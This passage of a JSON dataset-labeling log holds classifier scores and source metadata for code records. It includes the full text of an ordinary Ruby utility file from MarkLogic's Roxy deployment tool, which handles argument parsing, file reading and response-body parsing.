"Content Listing": 0.000540682938096726, "Creative Writing": 0.000300416936315591, "Customer Support Page": 0.0007878054388714139, "Q&A Forum": 0.0002881231418700406, "Discussion Thread": 0.00019577962203260127, "Comment Section": 0.0003754298695087258, "Missing Content": 0.0002593370445991433, "Knowledge Article": 0.01027363178804082, "Legal Notices": 0.00022228724253448592, "News Article": 0.0001438518635468996, "Organizational Announcement": 0.00025214004403547495, "Nonfiction Writing": 0.0003672743239254235, "Organizational About Page": 0.00031543952936942957, "Personal About Page": 0.0002745286838344572, "Personal Blog": 0.00020631882430993277, "Product Page": 0.00017111634587612689, "Spam / Ads": 0.0002757185677323479, "Structured Data": 0.0005875240298904982, "Technical Writing": 0.6446111639155019, "Transcript / Interview": 0.0004478915054443469, "Tutorial / How-To Guide": 0.3350461881436442, "User Reviews": 0.0001635791390388146, "Other / Unknown": 0.003525480455960054}, "secondary": {"Academic Writing": 0.0006862229244747818, "Content Listing": 0.0008059710449016935, "Creative Writing": 0.000770549218272738, "Customer Support Page": 0.002474990330372162, "Q&A Forum": 0.0004915306472566308, "Discussion Thread": 0.0003514406120300569, "Comment Section": 0.0005926413539929186, "Missing Content": 0.0005682584019951185, "Knowledge Article": 0.041759451332085314, "Legal Notices": 0.0004234667548684181, "News Article": 0.00037490357718296716, "Organizational Announcement": 0.00048620019205149466, "Nonfiction Writing": 0.0007186460515420765, "Organizational About Page": 0.0006639613918818116, "Personal About Page": 0.00046852536301686886, "Personal Blog": 0.0004005534385653262, "Product Page": 0.00034507314889063083, "Spam / Ads": 0.00041996019112310273, "Structured Data": 0.000998073369405337, "Technical Writing": 0.2283689226557956, "Transcript / Interview": 0.0008247163216668566, "Tutorial / How-To Guide": 0.2753607034296818, "User Reviews": 0.0002785531409784753, "NONE": 0.4413666851079679}, "tertiary": {"Academic Writing": 0.0005732207668175687, "Content Listing": 0.0014645210283118033, "Creative Writing": 0.0005758570938103572, "Customer Support Page": 0.004370778422699966, "Q&A Forum": 0.00028045020319929025, "Discussion Thread": 0.00023721982368012906, "Comment Section": 0.00035873873211397393, "Missing Content": 0.0004474654467468206, "Knowledge Article": 0.06996610990222595, "Legal Notices": 0.00024023204302991974, "News Article": 0.00016777790276296153, "Organizational Announcement": 0.00026957106505398675, "Nonfiction Writing": 0.000765630833287119, "Organizational About Page": 0.00038175304606029065, "Personal About Page": 0.00029036632172953805, "Personal Blog": 0.0002993051051744561, "Product Page": 0.00018669810744046137, "Spam / Ads": 0.00033361425823543096, "Structured Data": 0.0012704930119521545, "Technical Writing": 0.06220398857253694, "Transcript / Interview": 0.0005857637028960119, "Tutorial / How-To Guide": 0.09207736332233375, "User Reviews": 0.00012163023546749756, "NONE": 0.7625314510524336}, "structured_records": {"false": 0.8919998980369824, "true": 0.10800010196301758}, "procedural_steps": {"false": 0.8806872921553673, "true": 0.11931270784463269}, "worked_solution": {"false": 0.6738996056065316, "true": 0.32610039439346833}, "contextual_dialogue": {"false": 0.9999930940516828, "true": 6.905948317209477e-06}, "content_quality": {"-2": 0.03316215866996741, "-1": 0.42989882553223857, "0": 0.3951027666682887, "1": 0.12760417834564594, "2": 0.014232070783859263}, "noise_severity": {"0": 0.6393021743805073, "1": 0.2203559369437845, "2": 0.11948869140106556, "3": 0.01458418689149798, "4": 0.006269010383144604}, "missing_content_severity": {"0": 0.9691088031420858, "1": 0.016149232626414455, "2": 0.011995312249819928, "3": 0.002201246212049936, "4": 0.0005454057696298299}, "factual_density": {"0": 0.002692398157431916, "1": 0.007255346241461435, "2": 0.16299989645112795, "3": 0.501336757564753, "4": 0.3257156015852257}, "pretraining_utility": {"-2": 0.009013059225336859, "-1": 0.07928202728529765, "0": 0.3284439605904322, "1": 0.5099231122692144, "2": 0.07333784062971896}, "math_density": {"0": 0.07317115627861542, "1": 0.47428500340025737, "2": 0.33270021854341825, "3": 0.07290671001361157, "4": 0.04693691176409738}, "code_density": {"0": 0.0011799824777357023, "1": 0.0044974534231706454, "2": 0.12654681430885184, "3": 0.4615115501573299, "4": 0.406264199632912}, "reasoning_density": {"0": 0.46503040301075454, "1": 0.3793810099614867, "2": 0.14358896037032554, "3": 0.010022055161424173, "4": 0.001977571496008991}, "education_level": {"none": 0.002719017977055596, "0": 0.06554496073231443, "1": 0.4783484864988777, "2": 0.44644976081251514, "3": 0.005181044052049397, "4": 0.0017567299271876824}, "creative_writing_quality": {"not_applicable": 0.9980618621613413, "-2": 0.00034771916965696347, "-1": 0.0008405328272240321, "0": 0.0005995865140878924, "1": 0.00010702892029481246, "2": 4.327040739502393e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.273911168067183e-05, "Art & Design": 4.8671884550176116e-05, "Law & Crime": 3.679813046153501e-05, "Education & Careers": 0.0013289844642564727, "Entertainment & Media": 3.043909619140191e-05, "Fashion & Beauty": 1.7785387380583574e-05, "Business, Economics & Finance": 4.098524971653025e-05, "Food & Dining": 2.280141732342923e-05, "Games & Gaming": 4.463853777201928e-05, "Electronics & Hardware": 8.408023353510019e-05, "Health, Healthcare & Wellness": 2.04360373233031e-05, "History & Geography": 3.3829072595161854e-05, "Home, Pets & Hobbies": 3.250227596139287e-05, "Industry & Production": 2.4338518515594857e-05, "Language, Literature & Philosophy": 0.00041840252015397475, "Politics & Government": 1.5503040469032832e-05, "Religion & Spirituality": 3.161867651774639e-05, "Science, Mathematics & Engineering": 0.0045988982421285, "Relationships & Community": 1.575858789153213e-05, "Software Usage & Applications": 0.0013297793731979386, "Programming & Software Engineering": 0.9913926173572561, "Sports & Fitness": 4.2146797846317184e-05, "Vehicles & Transportation": 2.405309659963935e-05, "Travel & Tourism": 3.863806664056176e-05, "Other / Uncovered Subject": 0.0002455420614684276, "Unknown / Insufficient Content": 4.801276256685317e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00044034548065068654, "Art & Design": 0.0003685621005229857, "Law & Crime": 0.00040642230755809496, "Education & Careers": 0.021663953197365637, "Entertainment & Media": 0.00037492240733675815, "Fashion & Beauty": 0.00017433923278565715, "Business, Economics & Finance": 0.00038436214531481256, "Food & Dining": 0.0001920102413852663, "Games & Gaming": 0.00027602485884328115, "Electronics & Hardware": 0.0004871563815132497, "Health, Healthcare & Wellness": 0.00020170139206979727, "History & Geography": 0.0002609299033787038, "Home, Pets & Hobbies": 0.0002704642689239809, "Industry & Production": 0.00015773506198982307, "Language, Literature & Philosophy": 0.0011677294741631414, "Politics & Government": 0.00016075854273666826, "Religion & Spirituality": 0.00024592913091695933, "Science, Mathematics & Engineering": 0.03994042204752104, "Relationships & Community": 0.00012514718989408666, "Software Usage & Applications": 0.002051041160653248, "Programming & Software Engineering": 0.019311734333819566, "Sports & Fitness": 0.00019298679785708796, "Vehicles & Transportation": 0.00010632409052996378, "Travel & Tourism": 0.0002709509133559322, "Other / Uncovered Subject": 0.0006404536170149921, "NONE": 0.9101275937218986}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10457, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10457, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:07.961385+00:00", "scoring_key_slot": "primary", "dataset_uid": "ca9eec83-f21b-42f4-9bd3-62ffa8099ce0", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "d9229692ad55a37ed6533d0e350229c17b143c5e0f4704bf6fcb1100173b0a97", "source_metadata": {"uuid": "ca9eec83-f21b-42f4-9bd3-62ffa8099ce0", "repo_name": "MarkBWilliams11/ruby_stuff", "relative_path": "file_one.rb", "category": "TOOL", "algo_rel_score": 0.8468151092529297, "quality_score": 5.289414882659912, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 18, "repo_created_at": "2021-04-24T00:23:48.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "b7a3704f7adf3ec20fa26b7f0eead12140ebd510", "size_bytes": 6156, "file_timestamp": 1620877694, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c013cb49ed9d21ee0be0f3f0e3d7a042e3501341"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 18, "repo_created_at": "2021-04-24T00:23:48.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "b7a3704f7adf3ec20fa26b7f0eead12140ebd510", "size_bytes": 6156, "file_timestamp": 1620877694, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c013cb49ed9d21ee0be0f3f0e3d7a042e3501341", "url": "https://github.com/MarkBWilliams11/ruby_stuff/blob/c013cb49ed9d21ee0be0f3f0e3d7a042e3501341/file_one.rb"}, "gpt4o_tokens": 1895, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": -0.340154822958809, "noise_severity": 0.5281619219529881, "missing_content_severity": 0.048925218840723435, "factual_density": 3.1401278181788794, "pretraining_utility": 0.5592906477926809, "math_density": 1.546153217584318, "code_density": 3.267182531044512, "reasoning_density": 0.7045353821704463, "education_level": 1.397618209024204, "creative_writing_quality": -0.6926243349039091}, "score_applicability": {"education_level": 0.9972809820229444, "creative_writing_quality": 0.0019381378386587244}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/marklogic-community/roxy/blob/457fe50add5f24107bb890af88ac724bdf443bd2/deploy/lib/util.rb", "id": "ruby-0-553fd33af000b9fdc23b0e97051f5615", "text": "###############################################################################\n# Copyright 2012-2015 MarkLogic Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n###############################################################################\nrequire 'rbconfig'\nrequire 'rexml/text'\n\ndef find_arg(args = [])\n args.each do |arg|\n ARGV.each do |a|\n if a == arg || a.match(\"^#{arg}=\")\n index = ARGV.index(a)\n ARGV.slice!(index)\n\n return arg if a == arg\n\n if arg.match(\"^--\")\n split = a.split '='\n return a.split(\"=\")[1] if split.length == 2\n return arg\n end\n end\n end\n end\n nil\nend\n\ndef next_arg(match)\n ARGV.each do |arg|\n # Exclude any argument passed from command line.\n if arg.match(match)\n\n # Remove group from arguments list\n index = ARGV.index(arg)\n ARGV.slice!(index)\n\n # Bail out on first valid arg\n return arg\n end\n end\n nil\nend\n\ndef load_prop_from_args(props)\n indexes = []\n ARGV.each do |a|\n if a.match(/(^--)(ml\\..*)(=)(.*)/)\n # make sure to add them in reverse order (by using unshift instead of push)\n indexes.unshift ARGV.index(a)\n\n matches = a.match(/(^--)(ml\\..*)(=)(.*)/).to_a\n ml_key = matches[2]\n ml_val = matches[4]\n if props.has_key?(\"#{ml_key}\")\n props[\"#{ml_key}\"] = ml_val\n else\n logger.warn \"Property #{ml_key} does not exist. It will be skipped.\"\n end\n end\n end\n indexes.each do |index|\n ARGV.slice!(index)\n end\n props\nend\n\ndef pluralize(count, singular, plural = nil)\n count == 1 || count =~ /^1(\\.0+)?$/ ? singular : plural\nend\n\ndef is_windows?\n (RbConfig::CONFIG['host_os'] =~ /mswin|mingw/).nil? == false\nend\n\ndef path_separator\n\tis_windows? ? \";\" : \":\"\nend\n\ndef is_jar?\n __FILE__.match(/.*\\.jar.*/) != nil\nend\n\ndef copy_file(src, target)\n if is_jar?\n contents = read_file(src)\n File.open(target, \"w\") { |file| file.write(contents) }\n else\n FileUtils.cp(src, target)\n end\nend\n\ndef read_file(filename)\n if is_jar?\n require 'java'\n stream = self.to_java.get_class.get_class_loader.get_resource_as_stream(filename)\n br = java.io.BufferedReader.new(java.io.InputStreamReader.new(stream))\n contents = \"\"\n while (line = br.read_line())\n contents = contents + line + \"\\n\"\n end\n br.close()\n return contents\n else\n File.read(filename)\n end\nend\n\ndef file_exists?(filename)\n if is_jar?\n require 'java'\n self.to_java.get_class.get_class_loader.get_resource_as_stream(filename) != nil\n else\n return File.exists?(filename)\n end\nend\n\ndef get_files(path, options = {}, data = [])\n ignore_extensions = ['..', '.', '.svn', '.git', '.ds_store', 'thumbs.db']\n\n if File.directory?(path)\n Dir.foreach(path) do |entry|\n next if ignore_extensions.include?(entry.downcase)\n full_path = File.join(path, entry)\n skip = false\n\n options[:ignore_list].each do |ignore|\n if full_path.match(ignore)\n skip = true\n break\n end\n end if options[:ignore_list]\n\n next if skip == true\n\n if File.directory?(full_path)\n get_files(full_path, options, data)\n else\n data << full_path.encode(\"UTF-8\")\n end\n end\n else\n data = [path.encode(\"UTF-8\")]\n end\n data\nend\n\nclass String\n unless respond_to? :try\n def try(method)\n send method if respond_to? method\n end\n end\n\n def strip_heredoc\n indent = scan(/^[ \\t]*(?=\\S)/).min.try(:size) || 0\n gsub(/^[ \\t]{#{indent}}/, '')\n end\n\n def xquery_safe\n REXML::Text::normalize(self)\n end\n\n def xquery_unsafe\n REXML::Text::unnormalize(self)\n end\n\nend\n\nclass Object\n def blank?\n respond_to?(:empty?) ? empty? : !self\n end\n\n def present?\n !blank?\n end\n\n def to_b\n present? && ['true', 'TRUE', 'yes', 'YES', 'y', 'Y', 't', 'T'].include?(self)\n end\n\n def optional_require(feature)\n begin\n require feature\n rescue LoadError\n end\n end\nend\n\ndef parse_json(body)\n if (body.match('^\\[\\{\"qid\":'))\n items = []\n JSON.parse(body).each do |item|\n items.push item['result']\n end\n return items.join(\"\\n\")\n else\n return body\n end\nend\n\ndef parse_multipart(body)\n if (body.match(\"^\\r\\n--\"))\n # Extract the delimiter from the response.\n delimiter = body.split(\"\\r\\n\")[1].strip\n parts = body.split(delimiter)\n\n # The first part will always be an empty string. Just remove it.\n parts.shift\n # The last part will be the \"--\". Just remove it.\n parts.pop\n\n # Get rid of part headers\n # TODO: I think this is broken (DMC)\n # This line is intended to just drop the zeroth item, but actually only\n # keeps the index=1 item. Anything after that gets lost, which is bad if\n # the file has \\r\\n for line separators. Need to verify that this is a\n # problem and fix if so. See save_files_to_fs MarkLogic 8 section for an\n # alternative approach.\n\n parts = parts.map{ |part| part.split(\"\\r\\n\\r\\n\")[1].strip }\n\n # Return all parts as one long string, like we were used to.\n return parts.join(\"\\n\")\n else\n return body\n end\nend\n\ndef parse_body(body)\n parse_multipart(parse_json(body))\nend\n\ndef find_jar(jarname, jarpath = \"../java/\")\n matches = Dir.glob(ServerConfig.expand_path(\"#{jarpath}*#{jarname}*.jar\"))\n raise \"Missing #{jarname} jar.\" if matches.length == 0\n matches[0]\nend\n", "text_preview": "############################################################################### # Copyright 2012-2015 MarkLogic Corporation # # Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not use this file except in compliance", "input_sha256": "e59bd495f2804058fd2486fba49d6c21a1dbe43d9c098aa388db2fe569f3d985", "text_sha256": "553fd33af000b9fdc23b0e97051f5615196ea6b2a5010e123b06bce2625d571a", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16045, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7131576181739968, "noise_severity": 0.6536608691688293, "missing_content_severity": 0.021781937783111178, "factual_density": 3.387872047753911, "pretraining_utility": 0.2883773440299433, "math_density": 0.10106307989840368, "code_density": 3.785527972046888, "reasoning_density": 0.530197690949596, "education_level": 2.3563803407499218, "creative_writing_quality": -0.2178820872697503}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.7609074576318131, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9806849995889948, "secondary": 0.7657677919105176, "tertiary": 0.9394387479035317, "structured_records": 0.0032042846203263263, "procedural_steps": 0.0026453087225744077, "worked_solution": 0.000630344674043559, "contextual_dialogue": 8.714922893809871e-06, "content_quality": 0.5179281342042837, "noise_severity": 0.6327481974819185, "missing_content_severity": 0.9818483851807407, "factual_density": 0.4898933731282591, "pretraining_utility": 0.4938996839369212, "math_density": 0.9157807667513302, "code_density": 0.8212733100390732, "reasoning_density": 0.5581685908753367, "education_level": 0.576488132501711, "creative_writing_quality": 0.9991981116539932, "primary_topic": 0.9913100761149164, "secondary_topic": 0.8243112740711587}, "probability_margin": {"primary": 0.9657512999950528, "secondary": 0.5944727914718413, "tertiary": 0.8924309702141202, "education_level": 0.3497659286397171, "creative_writing_quality": 0.9990149252832536, "primary_topic": 0.9856637386407123, "secondary_topic": 0.7058129461310277}, "raw_probabilities": {"primary": {"Academic Writing": 4.3814423575898326e-05, "Content Listing": 2.7872886708934644e-05, "Creative Writing": 2.8584150805034384e-05, "Customer Support Page": 1.8404695357435805e-05, "Q&A Forum": 1.795120453283954e-05, "Discussion Thread": 1.3226116884370916e-05, "Comment Section": 2.4931111476195427e-05, "Missing Content": 5.124457696357054e-05, "Knowledge Article": 7.34083876928617e-05, "Legal Notices": 0.01573849127773387, "News Article": 1.049063540184427e-05, "Organizational Announcement": 3.0940160993448944e-05, "Nonfiction Writing": 1.9036365116280673e-05, "Organizational About Page": 3.0488901801103522e-05, "Personal About Page": 1.2850913183420079e-05, "Personal Blog": 1.3241861474705029e-05, "Product Page": 1.0972681484894392e-05, "Spam / Ads": 1.5643259265956972e-05, "Structured Data": 0.00031677270096547387, "Technical Writing": 0.9814897912727867, "Transcript / Interview": 2.799916896837047e-05, "Tutorial / How-To Guide": 9.341088318167859e-05, "User Reviews": 1.0931226927146186e-05, "Other / Unknown": 0.001879501136718223}, "secondary": {"Academic Writing": 0.0005121344621706299, "Content Listing": 0.0003880169066161784, "Creative Writing": 0.0004314241765104808, "Customer Support Page": 0.00025430843089938894, "Q&A Forum": 0.00024463087620329803, "Discussion Thread": 0.0002317571340967785, "Comment Section": 0.0004009731267834653, "Missing Content": 0.0004451413366851364, "Knowledge Article": 0.0007492343105873918, "Legal Notices": 0.7755274672475794, "News Article": 0.000345166652718664, "Organizational Announcement": 0.00047346901123492837, "Nonfiction Writing": 0.000327014360527572, "Organizational About Page": 0.0004505747590345293, "Personal About Page": 0.0002430880616426986, "Personal Blog": 0.00019665127536760236, "Product Page": 0.000282852597115113, "Spam / Ads": 0.0002824747960670274, "Structured Data": 0.0007453001377830183, "Technical Writing": 0.035514005650200485, "Transcript / Interview": 0.00038006716263443884, "Tutorial / How-To Guide": 0.00036437069206724865, "User Reviews": 0.00015520105973659823, "NONE": 0.18105467577573803}, "tertiary": {"Academic Writing": 0.00022386632386985452, "Content Listing": 0.00014329070049544007, "Creative Writing": 0.00021035369690118494, "Customer Support Page": 0.0001042415301622798, "Q&A Forum": 6.225121905346457e-05, "Discussion Thread": 5.7156699528619796e-05, "Comment Section": 0.00024627398351950784, "Missing Content": 0.00025389741318792826, "Knowledge Article": 0.0006029571592156399, "Legal Notices": 0.049531163193430996, "News Article": 0.00010483501567712433, "Organizational Announcement": 0.00011818608870280417, "Nonfiction Writing": 0.00011988175899162449, "Organizational About Page": 0.00015876982436526223, "Personal About Page": 7.926115137551038e-05, "Personal Blog": 9.914633934926214e-05, "Product Page": 6.967226275777059e-05, "Spam / Ads": 0.00011552761019295626, "Structured Data": 0.0005602059628369761, "Technical Writing": 0.004581558612593649, "Transcript / Interview": 0.00010521030510749682, "Tutorial / How-To Guide": 0.0004445823415391807, "User Reviews": 4.557739959434781e-05, "NONE": 0.9419621334075512}, "structured_records": {"false": 0.9967957153796737, "true": 0.0032042846203263263}, "procedural_steps": {"false": 0.9973546912774256, "true": 0.0026453087225744077}, "worked_solution": {"false": 0.9993696553259565, "true": 0.000630344674043559}, "contextual_dialogue": {"false": 0.9999912850771062, "true": 8.714922893809871e-06}, "content_quality": {"-2": 0.00696249265577115, "-1": 0.03641642521671478, "0": 0.33894398198968834, "1": 0.4718551715733978, "2": 0.14582192856442813}, "noise_severity": {"0": 0.3935206469264343, "1": 0.5674603648305279, "2": 0.03356944245585689, "3": 0.0027365637221364062, "4": 0.0027129820650445904}, "missing_content_severity": {"0": 0.9820887831359556, "1": 0.015251239403400082, "2": 0.0017255518410976866, "3": 0.0006581077806711461, "4": 0.0002763178388755709}, "factual_density": {"0": 0.007293098880518678, "1": 0.017917417082211957, "2": 0.10840183072061581, "3": 0.31239964403614684, "4": 0.5539880092805067}, "pretraining_utility": {"-2": 0.008785232915867391, "-1": 0.1419010517911408, "0": 0.4578359778664861, "1": 0.3351066132001924, "2": 0.05637112422631324}, "math_density": {"0": 0.9189353550830435, "1": 0.07130552315840012, "2": 0.0039005540581570275, "3": 0.0014778221779084744, "4": 0.004380745522491025}, "code_density": {"0": 0.00032176148395270717, "1": 0.0006173123502493529, "2": 0.016377566679854145, "3": 0.17857791160684497, "4": 0.8041054478790989}, "reasoning_density": {"0": 0.69038492224626, "1": 0.14896799181722245, "2": 0.11593819125694033, "3": 0.029482262099815807, "4": 0.01522663257976137}, "education_level": {"none": 0.0012988154855365834, "0": 0.0018063101830701831, "1": 0.014268419079156991, "2": 0.6470734437514258, "3": 0.2973075151117087, "4": 0.03824549638910174}, "creative_writing_quality": {"not_applicable": 0.999331759711661, "-2": 7.293730543586506e-05, "-1": 0.00015533736977324625, "0": 0.00031683442840738877, "1": 9.064797762114733e-05, "2": 3.24832071013899e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.087812177490216e-05, "Art & Design": 3.2665608311654846e-05, "Law & Crime": 0.00598056531593802, "Education & Careers": 3.39466831706792e-05, "Entertainment & Media": 2.2658364692891858e-05, "Fashion & Beauty": 1.6941329533149336e-05, "Business, Economics & Finance": 0.0001531694880436111, "Food & Dining": 1.785446394502019e-05, "Games & Gaming": 3.9340366753598214e-05, "Electronics & Hardware": 9.614897449768582e-05, "Health, Healthcare & Wellness": 2.0803522131668583e-05, "History & Geography": 2.526861589640022e-05, "Home, Pets & Hobbies": 2.3716397663677986e-05, "Industry & Production": 3.2227963203565466e-05, "Language, Literature & Philosophy": 8.891414901128478e-05, "Politics & Government": 4.902987173985497e-05, "Religion & Spirituality": 2.5756454889552897e-05, "Science, Mathematics & Engineering": 0.00019994850360156445, "Relationships & Community": 1.584577850650025e-05, "Software Usage & Applications": 0.0006811932641366889, "Programming & Software Engineering": 0.9916443039566504, "Sports & Fitness": 3.096440599217877e-05, "Vehicles & Transportation": 1.2640948676006384e-05, "Travel & Tourism": 3.6712502955786154e-05, "Other / Uncovered Subject": 0.0005312874834668142, "Unknown / Insufficient Content": 0.00015721746481668584}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00068654622497359, "Art & Design": 0.0005423636461299767, "Law & Crime": 0.12525558662970168, "Education & Careers": 0.0005146426117270586, "Entertainment & Media": 0.0004771689625529329, "Fashion & Beauty": 0.0003472425042832068, "Business, Economics & Finance": 0.0019463201875167479, "Food & Dining": 0.00026279357028393573, "Games & Gaming": 0.0003766892029328165, "Electronics & Hardware": 0.0008774237549677138, "Health, Healthcare & Wellness": 0.0003452467531483159, "History & Geography": 0.0003795789914076772, "Home, Pets & Hobbies": 0.0003156575335059138, "Industry & Production": 0.00029740737068490396, "Language, Literature & Philosophy": 0.00042946230865858337, "Politics & Government": 0.000981802450523789, "Religion & Spirituality": 0.0005792789306810061, "Science, Mathematics & Engineering": 0.000888585627190233, "Relationships & Community": 0.00018117207691245007, "Software Usage & Applications": 0.008004687640686878, "Programming & Software Engineering": 0.02259647186142353, "Sports & Fitness": 0.00024381030112744057, "Vehicles & Transportation": 0.0001444393917453688, "Travel & Tourism": 0.0004311252910780771, "Other / Uncovered Subject": 0.0018259634154266765, "NONE": 0.8310685327607295}}, "probabilities": {"primary": {"Academic Writing": 4.381442357589832e-05, "Content Listing": 2.7872886708934637e-05, "Creative Writing": 2.8584150805034377e-05, "Customer Support Page": 1.84046953574358e-05, "Q&A Forum": 1.7951204532839536e-05, "Discussion Thread": 1.3226116884370912e-05, "Comment Section": 2.493111147619542e-05, "Missing Content": 5.124457696357053e-05, "Knowledge Article": 7.340838769286169e-05, "Legal Notices": 0.015738491277733867, "News Article": 1.0490635401844268e-05, "Organizational Announcement": 3.094016099344894e-05, "Nonfiction Writing": 1.903636511628067e-05, "Organizational About Page": 3.0488901801103516e-05, "Personal About Page": 1.2850913183420075e-05, "Personal Blog": 1.3241861474705025e-05, "Product Page": 1.097268148489439e-05, "Spam / Ads": 1.564325926595697e-05, "Structured Data": 0.0003167727009654738, "Technical Writing": 0.9814897912727865, "Transcript / Interview": 2.7999168968370465e-05, "Tutorial / How-To Guide": 9.341088318167856e-05, "User Reviews": 1.0931226927146185e-05, "Other / Unknown": 0.0018795011367182225}, "secondary": {"Academic Writing": 0.0005121344621706299, "Content Listing": 0.0003880169066161784, "Creative Writing": 0.0004314241765104808, "Customer Support Page": 0.00025430843089938894, "Q&A Forum": 0.00024463087620329803, "Discussion Thread": 0.0002317571340967785, "Comment Section": 0.0004009731267834653, "Missing Content": 0.0004451413366851364, "Knowledge Article": 0.0007492343105873918, "Legal Notices": 0.7755274672475794, "News Article": 0.000345166652718664, "Organizational Announcement": 0.00047346901123492837, "Nonfiction Writing": 0.000327014360527572, "Organizational About Page": 0.0004505747590345293, "Personal About Page": 0.0002430880616426986, "Personal Blog": 0.00019665127536760236, "Product Page": 0.000282852597115113, "Spam / Ads": 0.0002824747960670274, "Structured Data": 0.0007453001377830183, "Technical Writing": 0.035514005650200485, "Transcript / Interview": 0.00038006716263443884, "Tutorial / How-To Guide": 0.00036437069206724865, "User Reviews": 0.00015520105973659823, "NONE": 0.18105467577573803}, "tertiary": {"Academic Writing": 0.00022386632386985452, "Content Listing": 0.00014329070049544007, 